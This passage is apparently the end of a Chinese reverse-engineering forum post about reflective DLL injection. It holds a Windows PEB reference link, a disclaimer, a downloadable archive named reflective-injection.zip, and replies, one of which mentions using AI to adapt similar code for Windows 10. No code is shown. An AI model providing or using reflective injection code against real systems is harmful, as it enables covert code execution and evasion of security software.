https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/peb/index.htm


希望这篇文章对你有所帮助,祝你在逆向对抗/安全研究的道路上越走越远!如果文章中有任何理解不当或技术错误的地方,欢迎大神们指出,我会虚心学习。


免责声明:本文仅供技术研究和学习交流,请勿用于任何非法用途。读者因使用本文代码而产生的任何后果由本人自行承担,技术无罪,人心有罪。


完整代码以及示例(本内容仅供个人学习、技术研究、安全测试使用,严禁用于任何商业用途、非法活动或侵犯他人合法权益的场景。任何未经授权的扩散、修改、逆向工程或用于攻击行为,均由使用者自行承担全部法律责任
reflective-injection.zip (30.14 KB, 下载次数: 9)

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
ACL 发表于 2026-6-15 10:42
厉害  6666
3#
m_h 发表于 2026-6-15 23:10
在看雪 看到过 ,也找到了代码(借助AI理解了一些东西) 改成了 win 10 能用的。 没想到吾爱也有人研究这个吗?
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-6-16 03:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表